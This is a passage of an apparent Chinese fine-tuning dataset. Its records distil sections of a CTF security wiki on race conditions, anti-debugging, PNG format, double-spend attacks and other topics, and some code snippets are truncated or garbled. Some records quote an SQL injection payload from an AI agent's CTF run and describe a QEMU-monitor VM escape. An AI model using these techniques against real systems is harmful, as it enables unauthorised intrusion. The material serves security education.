AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- race-condition\n- code:python\n- code:sh\n\n代码/命令片段线索：\n- python: 5 行，首行 `➜ racetest cat payload.py`\n- sh: 16 行，首行 `➜ racetest cat exp.sh`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 551, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "ai", "heading": "基本思路", "heading_path": ["题目", "构造例子", "基本思路"], "original_id": "docs-459562be8c397164b50d", "original_line": 1229, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "source_root": "docs", "source_sha256": "659a0705e4853c265b5228b8dce6dcabc7038c914dbd2b708c5fddd53014d6f0", "split": "train", "split_group_key": "e38cf77ff1d215292da99a30", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "race-condition", "code:python", "code:sh"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-255cbcf5f1dd52188515", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/junk-code.md` 中的章节「求解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/junk-code.md`\n标题：花指令\n章节：花指令 > 例题：N1CTF2020 - oflo > 求解\n路径分类：reverse / reverse/obfuscate/junk-code.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“求解”展开。\n- 由于 /proc/version 的前 14 字节恒定为 \"Linux version \" ，因此我们很容易便能得到 flag 内容： ```python s = \"5-\\x11\\x1AI}\\x11\\x14+;\n- >=<_\" b = \"Linux version \" ans = \"\" for i in range(14): ans += chr(ord(s[i]) ^ (ord(b[i]) + 2)) print(ans)\n\n关键术语：\n- AI安全\n- reverse\n- obfuscate\n- junk-code.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 218, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "求解", "heading_path": ["花指令", "例题：N1CTF2020 - oflo", "求解"], "original_id": "docs-2ded7a3508ca39e68bc7", "original_line": 1482, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "source_root": "docs", "source_sha256": "c78ad0d3ed80ba8667a696d4a4bc59e259c3d3a4228edc8ff4bb6fc89fb371e4", "split": "train", "split_group_key": "fc5cbfe7df0b3d4adc212127", "subcategory": "reverse/obfuscate/junk-code.md", "terms": ["AI安全", "reverse", "obfuscate", "junk-code.md"], "title": "花指令"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-26b0e54e14ef1c6c35f1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目\n路径分类：ai / ai/ai-for-security/agent\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目”展开。\n- 我们首先在平台上启动这道题的靶机，然后将靶机地址作为初始输入给到我们的 Agent Loop，选取 DeepSeek 官网的 deepseek-v4-pro 模型（2026 年发布的 DeepSeek-V4-Pro） 作为我们的基模，得到如下自动化解题过程： `` $ python3 example-agent-loop.py --config ./example-agent-config.json ------ Step 1 ------ [] Sending request to LLM...\n- Connected to 39be97c8469d0e1a134d5a25.http-ctf2.dasctf.com (117.21.200.176) port 80 (#0) > GET / HTTP/1.1 > Host: 39be97c8469d0e1a134d5a25.http-ctf2.dasctf.com > User-Agent: curl/7.81.0 > Accept: / > Mark bundle as not supporting multiuse < HTTP/1.1 200 OK...\n- inject=1'%20UNION%20SELECT%201,database()%23'' -------------------------------- stderr: -------------------------------- ------ Step 5 ------ [] Sending request to LLM...\n- sqlmap是没有灵魂的 --> 
 姿势:   
 
 return preg_match(\"/select|update|delete|drop|insert|where|\\./i\",$inject);\n- [] LLM replied in 4.2295989990234375 seconds.\n\n关键术语：\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- agent-loop\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 4811, "chunk_count": 3, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目"], "original_id": "docs-9b8fe79d5a341f21a878", "original_line": 1, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "8d7d0c7688216f6ecd242e70", "subcategory": "ai/ai-for-security/agent", "terms": ["ROP/JOP", "AI安全", "漏洞利用", "ai", "ai-for-security", "agent", "agent-loop"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-281cfe47b7e0b028febf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntglobalflag.md` 中的章节「如何绕过检测?」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntglobalflag.md`\n标题：NtGlobalFlag\n章节：NtGlobalFlag > 如何绕过检测?\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“如何绕过检测?”展开。\n- 有以下3种方法来绕过NtGlobalFlag的检测 手动修改标志位的值(FLG_HEAP_ENABLE_TAIL_CHECK, FLG_HEAP_ENABLE_FREE_CHECK, FLG_HEAP_VALIDATE_PARAMETERS) 在Ollydbg中使用hide-debug插件 * 在Windbg禁用调试堆的方式启动程序(windbg -hd program.exe)\n\n关键术语：\n- 堆\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "如何绕过检测?", "heading_path": ["NtGlobalFlag", "如何绕过检测?"], "original_id": "docs-ec78503dfc40f89be22a", "original_line": 1525, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "source_root": "docs", "source_sha256": "ec56247871fb9435305e4c8b2388abac89e4886e3581a55b8ee83db9de62d5a7", "split": "train", "split_group_key": "8d689a02238a3e0bc9d28830", "subcategory": "reverse/platform/windows", "terms": ["堆", "AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "NtGlobalFlag"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-2be91e3983b4d75abfab", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/png.md` 中的章节「IEND」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/png.md`\n标题：PNG\n章节：PNG > 文件格式 > IEND\n路径分类：misc / misc/picture/png.md\n分块：1/1\n\n核心知识点：\n- 图像结束数据 IEND（image trailer chunk）：它用来标记 PNG 文件或者数据流已经结束，并且必须要放在文件的尾部。\n- `` 00 00 00 00 49 45 4E 44 AE 42 60 82 ` IEND 数据块的长度总是 00 00 00 00，数据标识总是 IEND 49 45 4E 44，因此，CRC 码也总是 AE 42 60 82`。\n\n关键术语：\n- AI安全\n- misc\n- picture\n- png.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `00 00 00 00 49 45 4E 44 AE 42 60 82`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 195, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "IEND", "heading_path": ["PNG", "文件格式", "IEND"], "original_id": "docs-36d518f773f3d3c71d01", "original_line": 31, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "source_root": "docs", "source_sha256": "43950f569096175f2c56da46c5d09dece4a19b71604f5ff4c9662280fa9187ec", "split": "train", "split_group_key": "8535441d1c18f141e5d6737f", "subcategory": "misc/picture/png.md", "terms": ["AI安全", "misc", "picture", "png.md"], "title": "PNG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-320f56f8a3d20c47534d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/heap-flags.md` 中的章节「检测Flags字段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/heap-flags.md`\n标题：Heap Flags\n章节：Heap Flags > 检测Flags字段\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检测Flags字段”展开。\n- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp [ebx+eax+70h], 40000062h je being_debugged ` 如果是直接通过KUSER_SHARED_DATA结构的NtMajorVersion字段(位于2G用户空间的0x7ffe026c偏移处)获取该值(在所有32位/64位版本的Windows都可以获取该值), 可以进一步混淆kernel32的GetVersion()`函数调用操作.\n- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp eax, 40000062h je being_debugged ` 32位代码检测32位windows环境, 且subsystem为3.51及更高版本: ` asm call GetVersion cmp al, 6 cmc sbb ebx, ebx and ebx, 34h mov eax, fs:[30h] ;\n- get process heap base mov eax, [eax+ebx+0ch] ;\n- nor HEAP_SKIP_VALIDATION_CHECKS and eax, 0effeffffh ;\n- not HEAP_SKIP_VALIDATION_CHECKS bswap eax and al, 0efh ;\n\n关键术语：\n- 堆\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `32位代码检测32位windows环境, 且`subsystem`为`3.51`及更高版本:`\n- plain: 1 行，首行 `64位代码检测64位windows环境(64位进程不必受`subsystem`版本困扰):`\n- plain: 1 行，首行 `用32位代码检测64位windows环境:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1962, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "检测Flags字段", "heading_path": ["Heap Flags", "检测Flags字段"], "original_id": "docs-80aaf818407372bc0814", "original_line": 1517, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "source_root": "docs", "source_sha256": "0178ca5792ad4784b2908b78035d353c6b6ff326160ae7f29a3b02f9f54726c7", "split": "train", "split_group_key": "07c2dab86f031867b4587b6c", "subcategory": "reverse/platform/windows", "terms": ["堆", "AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "Heap Flags"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-3382d5b8e6b41bea07ac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/introduction.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/introduction.md`\n标题：Artificial Intelligence\n章节：Artificial Intelligence > 简介\n路径分类：ai / ai/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 人工智能与计算机安全之间同样有着千丝万缕的交融，主要有以下两大研究主轴： - AI for Security：使用 AI 技术解决计算机安全领域的传统问题，例如利用机器学习检测恶意软件或使用智能体辅助渗透测试。\n- Security for AI：发掘 AI 领域所存在的安全问题，例如对抗样本攻击或智能体逃逸。\n- 目前 CTF 中涉及到 AI 相关的部分同样围绕着这两大主轴进行展开，类似地，我们可以进行如下分类： - CTF for AI：出题人考察选手对 AI 本身的了解 ，一般表现形式为解题模式下针对 AI 进行攻击的题目，例如由出题人给出一个神经网络模型的参数或训练数据集，选手需要完成对该模型的欺骗等。\n- AI for CTF：出题人考察选手使用 AI 的能力 ，一般表现形式为选手开发一个基于 AI 的应用，并接入平台方的接口/环境以进行自主决策以完成解题，例如 腾讯云黑客松 的智能渗透挑战赛会要求选手开发一个 AI agent 进行自动化的渗透测试。\n- 尤其是随着近年来大语言模型（Large Language Model）技术的突飞猛进，包括安全领域在内的整个计算机行业都受到了相当大的冲击，时至今日是否学习与使用 AI 的哲学思辨环节或许早已结束，我们每个人或许都需要重新思考：在 AI 时代，我们应当将自身放在什么样的一个位置。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- ai\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 898, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "简介", "heading_path": ["Artificial Intelligence", "简介"], "original_id": "docs-7cb17126dc423baf47fc", "original_line": 1, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/introduction.md", "source_root": "docs", "source_sha256": "85ecaf7aa25e4c4725741981a5274c234482a21065893ae26abd5407de22fc20", "split": "train", "split_group_key": "8d2a7f5308b0f3a8a66dbd8d", "subcategory": "ai/introduction.md", "terms": ["AI安全", "漏洞利用", "ai", "introduction.md"], "title": "Artificial Intelligence"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-36183e6c5bf146c83058", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/smc.md` 中的章节「例题：GWCTF 2019 - re3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/smc.md`\n标题：Self-Modified Code\n章节：Self-Modified Code > 例题：GWCTF 2019 - re3\n路径分类：reverse / reverse/obfuscate/smc.md\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“例题：GWCTF 2019 - re3”展开。\n- // [rsp+B8h] [rbp-8h] v23 = __readfsqword(0x28u);\n- sub_401C63((unsigned int)(8 a2), &dest[i]);\n- sub_401C63((unsigned int)(a2 >> 29), &dest[i + 4]);\n- ++l ) v22[l] = sub_401CAC(&dest[4 l + k]);\n- ++m ) { if ( m > 0xF ) { if ( m > 0x1F ) { if ( m > 0x2F ) { v15 = v11 ^ (v10 | ~v12);\n\n关键术语：\n- 密码学\n- AI安全\n- reverse\n- obfuscate\n- smc.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `因此 `sub_402219()` 的逻辑便清晰了：进行多轮 `md5` 哈希并将结果存储到 `0x603170` 处，我们直接动态调试一下获得此处数据：`\n- plain: 1 行，首行 `AES 是对称加密算法，现在我们有了密钥（`0x603170`），又有了密文（`0x6030A0`），直接用 python 内置的密码学库即可获得 flag：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2139, "chunk_count": 3, "chunk_index": 2, "ctf_score": 18, "ctf_task_type": "ai", "heading": "例题：GWCTF 2019 - re3", "heading_path": ["Self-Modified Code", "例题：GWCTF 2019 - re3"], "original_id": "docs-fc06bd7b252b7d0c1af0", "original_line": 1487, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/smc.md", "source_root": "docs", "source_sha256": "4d4333813bc20ebd1d5176a2c1cbefd91a88e6f43b6d97597fe7aa1cbbbee5a2", "split": "train", "split_group_key": "5c0beb46775fa876d656b2d8", "subcategory": "reverse/obfuscate/smc.md", "terms": ["密码学", "AI安全", "reverse", "obfuscate", "smc.md"], "title": "Self-Modified Code"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/smc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-378beed55c4bb1f046af", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/publicblockchain/weaknesses.md` 中的章节「Finney attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/publicblockchain/weaknesses.md`\n标题：Blockchain Weaknesses\n章节：Blockchain Weaknesses > Double-spending attack > Finney attack\n路径分类：blockchain / blockchain/publicblockchain/weaknesses.md\n分块：1/1\n\n核心知识点：\n- Finney attack（芬尼攻击）是由Hal Finney命名的，他是第一个描述扣块攻击的人。\n- 攻击者将一个给自己转账的交易预挖为一个区块，但不立即将其广播到网络中，相反用同一笔代币花费在接受 0 确认的商家的交易中，攻击者在获得商家的交换物后、这笔交易A真正确认前，才广播他之前所预挖的区块使转给自己的交易合法，这时比特币网络会接受该有效块并使对商家的交易无效，最终达到双花的目的。\n- 这种攻击是一种双花攻击的变化，攻击对象主要针对的是接受0确认的商家。\n- 因为区块链目前的出块时间过慢，交易确认需要等待的时间较长，部分商家为了节省时间接受0确认的交易，也就是你把交易信息广播到全网就可以了，不需要等待打包入区块。\n- 0确认是指一笔交易被广播到全网，即将被打包进入区块前的状态。\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- publicblockchain\n- weaknesses.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 339, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "Finney attack", "heading_path": ["Blockchain Weaknesses", "Double-spending attack", "Finney attack"], "original_id": "docs-113d886588b7454f5643", "original_line": 191, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "source_root": "docs", "source_sha256": "b1774aa1b004a4cec3c24fd8294d01a05dae6adac2a50593cc482ec59699b67b", "split": "train", "split_group_key": "2e60dadcb4019cf73288dcfa", "subcategory": "blockchain/publicblockchain/weaknesses.md", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "publicblockchain", "weaknesses.md"], "title": "Blockchain Weaknesses"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-390f7e8ab172d1c6415e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md`\n标题：利用 QEMU Monitor 读取 flag\n章节：DO NOT DELETE > 利用\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用”展开。\n- 由于出题人在启动脚本里并没有禁用 QEMU monitor，因此我们可以直接通过 QEMU monitor 提供的 migrate 指令直接在 host 侧执行命令，完成虚拟机逃逸：\n- def recvuntil_filter(p, target): target_len = len(target) s = b'' ignore_next = False while True: ch = p.recv(1) if ignore_next: ignore_next = False continue\n- if ch == b'\\x1b': ch = p.recv(2) if ch == b'[D': ignore_next = True elif ch == b'[K': s = b'' else: print(\"Unhandled escape sequences : {}\".format(ch)) continue\n- if ch[0] < 0x20 or ch[0] > 0x7E: continue\n- s += ch if s[-target_len:] == target: return s\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- virtualization\n- qemu\n- exploitation\n- code:python\n\n代码/命令片段线索：\n- python: 35 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 887, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "ai", "heading": "利用", "heading_path": ["DO NOT DELETE", "利用"], "original_id": "docs-a96fee44a4f4614545a7", "original_line": 79, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md", "source_root": "docs", "source_sha256": "3b52605262148a43a8a925d995b98f2489ac7bc4a3d4bebb9afba26d9348610a", "split": "train", "split_group_key": "636f6f3c0b6f45f1cd52e5aa", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "漏洞利用", "pwn", "virtualization", "qemu", "exploitation", "code:python"], "title": "利用 QEMU Monitor 读取 flag"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-3916776b3c1628068347", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「关于 AI Agent 在 CTF 中的使用边界说明」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > 关于 AI Agent 在 CTF 中的使用边界说明\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“关于 AI Agent 在 CTF 中的使用边界说明”展开。\n- AI Agent 的引入，使得传统“工具辅助”与“自动化解题”之间的边界变得更加模糊。\n- 因此，是否允许使用 AI Agent，应严格以具体赛事规则为准，而不应依赖技术可行性自行判断。\n- 我们建议参赛者在使用任何形式的 AI 工具前，仔细阅读赛事规则，并在不确定的情况下优先遵循保守原则，以避免违反相关条款。\n- 从竞赛规则与公平性角度来看，不同 CTF 赛事对自动化工具与外部辅助系统的允许程度并不一致。\n- 一些赛事明确禁止使用自动化解题系统或外部智能代理，而另一些赛事则仅限制特定行为（例如自动化 flag 提交或大规模扫描）。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 336, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "关于 AI Agent 在 CTF 中的使用边界说明", "heading_path": ["AI Agent", "关于 AI Agent 在 CTF 中的使用边界说明"], "original_id": "docs-23c5ce8dedd855a565f0", "original_line": 12, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "5d167cf52389baa53c2d67a9", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-3c16cd3962ddce9fe45f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-excutable.md` 中的章节「PE 简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-excutable.md`\n标题：PE 文件格式\n章节：PE 文件格式 > PE 简介\n路径分类：executable / executable/pe/pe-excutable.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“PE 简介”展开。\n- `c // 示例代码 test.c #include  int main(){ printf(\"Hello, PE!\n- } ` 通过 Devcpp 软件的 TDM-GCC 4.9.2 32-bit Release 方式编译文件生成 test.exe`，作为示例文件。\n- PE 文件的全称是 Portable Executable ，意为可移植的可执行的文件，常见的EXE、DLL、OCX、SYS、COM都是PE 文件，PE 文件是微软Windows操作系统上的程序文件，可能是间接被执行，如DLL）。\n\n关键术语：\n- AI安全\n- executable\n- pe\n- pe-excutable.md\n- code:text\n- code:c\n\n代码/命令片段线索：\n- text: 24 行，首行 `+-------------------------------+ \\`\n- c: 6 行，首行 `// 示例代码 test.c`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 963, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, 